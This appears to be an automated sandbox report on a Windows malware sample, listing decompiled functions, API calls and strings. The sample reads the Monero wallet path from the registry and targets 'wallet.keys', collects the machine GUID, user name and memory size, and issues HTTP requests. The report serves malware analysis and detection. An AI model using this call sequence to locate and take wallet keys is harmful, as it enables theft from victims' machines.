Part of subcall function 0040532C: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004053CB
Part of subcall function 0040532C: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00405401
Part of subcall function 0040532C: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405425
Part of subcall function 0040532C: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405430
Part of subcall function 0040532C: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 0040544E

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00411B85
lstrlen.KERNEL32(00000000), ref: 00411B9C

Part of subcall function 0040FA81: LocalAlloc.KERNEL32(00000040,00411BB2,00000001,00000000,?,00411BB1,00000000,00000000), ref: 0040FA9A

StrStrA.SHLWAPI(00000000,00000000), ref: 00411BC3
lstrlen.KERNEL32(00000000), ref: 00411BD8
lstrlen.KERNEL32(00000000), ref: 00411BF0

Strings

ERROR, xrefs: 00411B77
ERROR, xrefs: 00411C00
ERROR, xrefs: 00411C1B
ERROR, xrefs: 00411C22
ERROR, xrefs: 00411C14

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: HttpInternetlstrcpylstrlen$H_prologOpenRequest$AllocConnectInfoLocalOptionQuerySend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3807055897-1526165396
Opcode ID: 6c839766e7553d258449e5a4ce2374fc82e10e1f0f50af40a9a1b86638384a22
Instruction ID: f1e31763aa43a76ed970442d99163c44d7797b0b442af3a0f6dcc7cfd5732480
Opcode Fuzzy Hash: 6c839766e7553d258449e5a4ce2374fc82e10e1f0f50af40a9a1b86638384a22
Instruction Fuzzy Hash: C541A471900244EBCB05EBE6DA46BED77B4AF58308F50086FF901732C1EB385B09C6A9

Uniqueness

Uniqueness Score: -1.00%

Function 00401BAD Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 160stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00401BB2
memset.MSVCRT ref: 00401BD0

Part of subcall function 00401000: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00401BE9,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 00401014
Part of subcall function 00401000: HeapAlloc.KERNEL32(00000000,?,?,?,00401BE9,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 0040101B
Part of subcall function 00401000: RegOpenKeyExA.KERNEL32(000000FF,00000000,00000000,00020119,?,?,?,?,00401BE9,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 00401034
Part of subcall function 00401000: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,000000FF,?,?,?,00401BE9,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 0040104D

lstrcat.KERNEL32(?,00000000), ref: 00401BF4
lstrlen.KERNEL32(?,?,?,?,?,?,?), ref: 00401C01
lstrcat.KERNEL32(?,.keys), ref: 00401C1C

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

Part of subcall function 0040F870: _EH_prolog.MSVCRT ref: 0040F875
Part of subcall function 0040F870: GetSystemTime.KERNEL32(?,004242A8,00000001,00000000,00000000), ref: 0040F8B5

Part of subcall function 0040E685: _EH_prolog.MSVCRT ref: 0040E68A
Part of subcall function 0040E685: lstrcpy.KERNEL32(00000000), ref: 0040E6D6
Part of subcall function 0040E685: lstrcat.KERNEL32(?,?), ref: 0040E6E0

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Part of subcall function 00406572: _EH_prolog.MSVCRT ref: 00406577
Part of subcall function 00406572: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 0040659A
Part of subcall function 00406572: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004065B1
Part of subcall function 00406572: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004065CD
Part of subcall function 00406572: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 004065E7
Part of subcall function 00406572: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406608

memset.MSVCRT ref: 00401D9D

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 00412DF0: _EH_prolog.MSVCRT ref: 00412DF5
Part of subcall function 00412DF0: CreateThread.KERNEL32(00000000,00000000,00411D06,?,00000000,00000000), ref: 00412E95
Part of subcall function 00412DF0: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00412E9D

Strings

.keys, xrefs: 00401C10
SOFTWARE\monero-project\monero-core, xrefs: 00401BDA
wallet_path, xrefs: 00401BD5
\Monero\wallet.keys, xrefs: 00401C45

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrcat$File$AllocCreateHeaplstrlenmemset$CloseHandleLocalObjectOpenProcessQueryReadSingleSizeSystemThreadTimeValueWait
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 1518627966-218353709
Opcode ID: 6b99023d41fdee722ab12fed0dfe2d8854a89c5ffa363825fe74ddf6028828aa
Instruction ID: 62ecffaa1c87635ee46e0581d1842a33acf380326d03364368e7de767bf6df2e
Opcode Fuzzy Hash: 6b99023d41fdee722ab12fed0dfe2d8854a89c5ffa363825fe74ddf6028828aa
Instruction Fuzzy Hash: 3E513C71C00248EADB05EBE5D846BEDBB78AF18308F54486EF505B21C2EB785619CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040D56B Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040D570
StrCmpCA.SHLWAPI(00000000,?,?,00000000), ref: 0040D5AE
StrCmpCA.SHLWAPI(00000000,?,?,00000000), ref: 0040D620
StrCmpCA.SHLWAPI(00000000,?,?,00000000), ref: 0040D739

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Part of subcall function 0040CD16: _EH_prolog.MSVCRT ref: 0040CD1B

Part of subcall function 0040AB3E: _EH_prolog.MSVCRT ref: 0040AB43

StrCmpCA.SHLWAPI(00000000), ref: 0040D7E6
StrCmpCA.SHLWAPI(00000000), ref: 0040D857

Strings

Stable\, xrefs: 0040D663
Stable\, xrefs: 0040D89A

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy
String ID: Stable\$ Stable\
API String ID: 2120869262-4033978473
Opcode ID: 5ffae97ace4f7575b4188d1e4af4478009e1780cfd26d5e067fe36b2bc16843b
Instruction ID: afa45a1d01831129f3328863285121e3c8e6c4a123211d338c21ff996c9201ff
Opcode Fuzzy Hash: 5ffae97ace4f7575b4188d1e4af4478009e1780cfd26d5e067fe36b2bc16843b
Instruction Fuzzy Hash: 11C18070D00248EBCF01EBBAD9466DDBBB5AF19308F10456EE845772C2EB38571887A6

Uniqueness

Uniqueness Score: -1.00%

Function 0040F18B Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 42registryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040F1B1
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,^CB,?,?,00000000), ref: 0040F1CD
RegQueryValueExA.KERNEL32(^CB,MachineGuid,00000000,00000000,?,000000FF,?,?,00000000), ref: 0040F1EC
CharToOemA.USER32(?,?), ref: 0040F209

Strings

^CB, xrefs: 0040F1B9, 0040F1F2, 0040F1E9, 0040F1BC
MachineGuid, xrefs: 0040F1E4
SOFTWARE\Microsoft\Cryptography, xrefs: 0040F1C3

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CharOpenQueryValuememset
String ID: MachineGuid$SOFTWARE\Microsoft\Cryptography$^CB
API String ID: 1728412123-1786988806
Opcode ID: 569063b429e25df814444e0f5f63d337d88d16ac840caaeb29fe345f3be8d525
Instruction ID: 3f7c3331a510b80d325cb1298ccf388042b11726b66390429781683a242c4271
Opcode Fuzzy Hash: 569063b429e25df814444e0f5f63d337d88d16ac840caaeb29fe345f3be8d525
Instruction Fuzzy Hash: BD0144B594011DFFDB10DF90EC89EEAB77CEB14704F1000A1B545E1051DB749F899B64

Uniqueness

Uniqueness Score: -1.00%

Function 00406572 Relevance: 10.6, APIs: 7, Instructions: 70filememoryCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00406577
CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 0040659A
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004065B1
LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004065CD
ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 004065E7
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 004065FD
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406608

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeH_prologHandleReadSize
String ID:
API String ID: 3869837436-0
Opcode ID: 705ff68ea3f5719614851a44dd78d1ec8557a3517d297c4456639b82a6506acc
Instruction ID: 59da0b669d0c784481d0fc57140707bb14af0f97430e928722a88339d4051651
Opcode Fuzzy Hash: 705ff68ea3f5719614851a44dd78d1ec8557a3517d297c4456639b82a6506acc
Instruction Fuzzy Hash: 01218B30A00105EBEB209F65DC88AAFBB79FF84710F10092AF552F22D0D7398961CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC9D Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,00000000,?,Windows: ,00000000,?,00424428,00000000,?,Work Dir: In memory,00000000,?,00424410), ref: 0040ECAB
HeapAlloc.KERNEL32(00000000), ref: 0040ECB2
GlobalMemoryStatusEx.KERNEL32 ref: 0040ECD2
wsprintfA.USER32 ref: 0040ECF8

Strings

%d MB, xrefs: 0040ECF2
@, xrefs: 0040ECCB

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 3644086013-3474575989
Opcode ID: d7e62a7b7f741abff83ff84ebab0dc1a7a679439fac307ddd2f9ec5ba1b804d0
Instruction ID: 0436995a52cdc52ce1d456ecb16d4e36a2ed727592e1cb53d717ddb9aaead71d
Opcode Fuzzy Hash: d7e62a7b7f741abff83ff84ebab0dc1a7a679439fac307ddd2f9ec5ba1b804d0
Instruction Fuzzy Hash: C7F036B1604208ABE7149BA5DC4AF7E76ADE744705F500429F602E62C1DB74D8058769

Uniqueness

Uniqueness Score: -1.00%

Function 004145DD Relevance: 9.1, APIs: 6, Instructions: 128registrystringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004145E2
memset.MSVCRT ref: 0041460E
RegOpenKeyExA.KERNEL32(80000001,00000000,00020119,?,?,?,00000000), ref: 0041462B
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,000000FF,?,?,00000000), ref: 0041464B
lstrcat.KERNEL32(?,?), ref: 0041467A
lstrcat.KERNEL32(?), ref: 0041468D

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$H_prologOpenQueryValuememset
String ID:
API String ID: 2333602472-0
Opcode ID: c45a3debf44d8a1de60a73a603875d7143130ba1b02f5394a1e2119693def3b4
Instruction ID: d86490a961668280629c9fc713d96f1f5272fd9ddb126acdf160cc497b11eeb2
Opcode Fuzzy Hash: c45a3debf44d8a1de60a73a603875d7143130ba1b02f5394a1e2119693def3b4
Instruction Fuzzy Hash: 134180B1D0010DABCF10EFA0DC4B9DE7BBDEB14318F00446AF514A2150E7399B968BA6

Uniqueness

Uniqueness Score: -1.00%

Function 00415665 Relevance: 9.1, APIs: 6, Instructions: 65sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00415745: LoadLibraryA.KERNEL32(kernel32.dll,00415677), ref: 0041574A
Part of subcall function 00415745: GetProcAddress.KERNEL32(00000000), ref: 00415764
Part of subcall function 00415745: GetProcAddress.KERNEL32 ref: 0041578E
Part of subcall function 00415745: GetProcAddress.KERNEL32 ref: 004157A5
Part of subcall function 00415745: GetProcAddress.KERNEL32 ref: 004157BC
Part of subcall function 00415745: GetProcAddress.KERNEL32 ref: 004157D3
Part of subcall function 00415745: GetProcAddress.KERNEL32 ref: 004157EA
Part of subcall function 00415745: GetProcAddress.KERNEL32 ref: 00415801
Part of subcall function 00415745: GetProcAddress.KERNEL32 ref: 00415818
Part of subcall function 00415745: GetProcAddress.KERNEL32 ref: 0041582F
Part of subcall function 00415745: GetProcAddress.KERNEL32 ref: 00415846
Part of subcall function 00415745: GetProcAddress.KERNEL32 ref: 0041585D
Part of subcall function 00415745: GetProcAddress.KERNEL32 ref: 00415874
Part of subcall function 00415745: GetProcAddress.KERNEL32 ref: 0041588B
Part of subcall function 00415745: GetProcAddress.KERNEL32 ref: 004158A2
Part of subcall function 00415745: GetProcAddress.KERNEL32 ref: 004158B9
Part of subcall function 00415745: GetProcAddress.KERNEL32 ref: 004158D0
Part of subcall function 00415745: GetProcAddress.KERNEL32 ref: 004158E7
Part of subcall function 00415745: GetProcAddress.KERNEL32 ref: 004158FE
Part of subcall function 00415745: GetProcAddress.KERNEL32 ref: 00415915
Part of subcall function 00415745: GetProcAddress.KERNEL32 ref: 0041592C
Part of subcall function 00415745: GetProcAddress.KERNEL32 ref: 00415943
Part of subcall function 00415745: LoadLibraryA.KERNEL32 ref: 00415954
Part of subcall function 00415745: LoadLibraryA.KERNEL32 ref: 00415965

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Part of subcall function 0040E8E7: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00415689,004243BE), ref: 0040E8F3
Part of subcall function 0040E8E7: HeapAlloc.KERNEL32(00000000,?,?,?,00415689,004243BE), ref: 0040E8FA
Part of subcall function 0040E8E7: GetUserNameA.ADVAPI32(00000000,?), ref: 0040E90E

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

CloseHandle.KERNEL32(00000000), ref: 004156EA
Sleep.KERNEL32(00001B58), ref: 004156F5
OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,?,00424818,?,00000000,004243BE), ref: 00415706
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041571C
CloseHandle.KERNEL32(00000000), ref: 0041572A
ExitProcess.KERNEL32 ref: 00415731

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoadlstrcpy$CloseEventHandleHeapProcess$AllocCreateExitH_prologNameOpenSleepUserlstrcatlstrlen
String ID:
API String ID: 1043047581-0
Opcode ID: 2a2cda525e942daa53bd38945594255c8dfeed08496384ee4d177346c84c8c96
Instruction ID: 8957079d1b9c83e9d0910b1ebcb7a26b1e36eb779918f429bfacef46039e1bff
Opcode Fuzzy Hash: 2a2cda525e942daa53bd38945594255c8dfeed08496384ee4d177346c84c8c96
Instruction Fuzzy Hash: BB11FC31900014BACB05FBE3EC5ADFE7779AE94708B50096EF502B21D1EF385A1587A9

Uniqueness

Uniqueness Score: -1.00%

Function 00403E7A Relevance: 9.1, APIs: 6, Instructions: 56stringnetworkCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00403E7F
??_U@YAPAXI@Z.MSVCRT ref: 00403EB1
??_U@YAPAXI@Z.MSVCRT ref: 00403EBA
??_U@YAPAXI@Z.MSVCRT ref: 00403EC3
lstrlen.KERNEL32(00000000,00000000,?,?,00000000,00000001), ref: 00403EDD
InternetCrackUrlA.WININET(00000000,00000000,?,00000000), ref: 00403EED

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CrackH_prologInternetlstrlen
String ID:
API String ID: 503950642-0
Opcode ID: a4889bc9f5b7cf67e046ea18f08f54242b121b33e779780db5d869fd6c5e2170
Instruction ID: 85cd3b5ff436def6a8e73289d6cf030e3e57b768e574c200465fadaf45ef686d
Opcode Fuzzy Hash: a4889bc9f5b7cf67e046ea18f08f54242b121b33e779780db5d869fd6c5e2170
Instruction Fuzzy Hash: 55112E71C00208ABDB14EFA5D845BDD7B78AF55324F20472BF826E72D0DB389A45CB98

Uniqueness

Uniqueness Score: -1.00%

Function 004068CC Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103libraryCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004068D1
GetEnvironmentVariableA.KERNEL32(C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,00000000,?), ref: 004068F1

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Part of subcall function 0040E5F4: lstrlen.KERNEL32(?,00000000,?,00414F6E,004243BA,004243B7,00000000,00000000,?,00415729), ref: 0040E5FD
Part of subcall function 0040E5F4: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E631

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040E685: _EH_prolog.MSVCRT ref: 0040E68A
Part of subcall function 0040E685: lstrcpy.KERNEL32(00000000), ref: 0040E6D6
Part of subcall function 0040E685: lstrcat.KERNEL32(?,?), ref: 0040E6E0

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

SetEnvironmentVariableA.KERNEL32(00000000,00000000,?,?,?,00423A8C,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00423A87), ref: 00406969
LoadLibraryA.KERNEL32 ref: 00406980

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 004068E0, 004068E5, 00406904

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$H_prolog$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 757424748-273959250
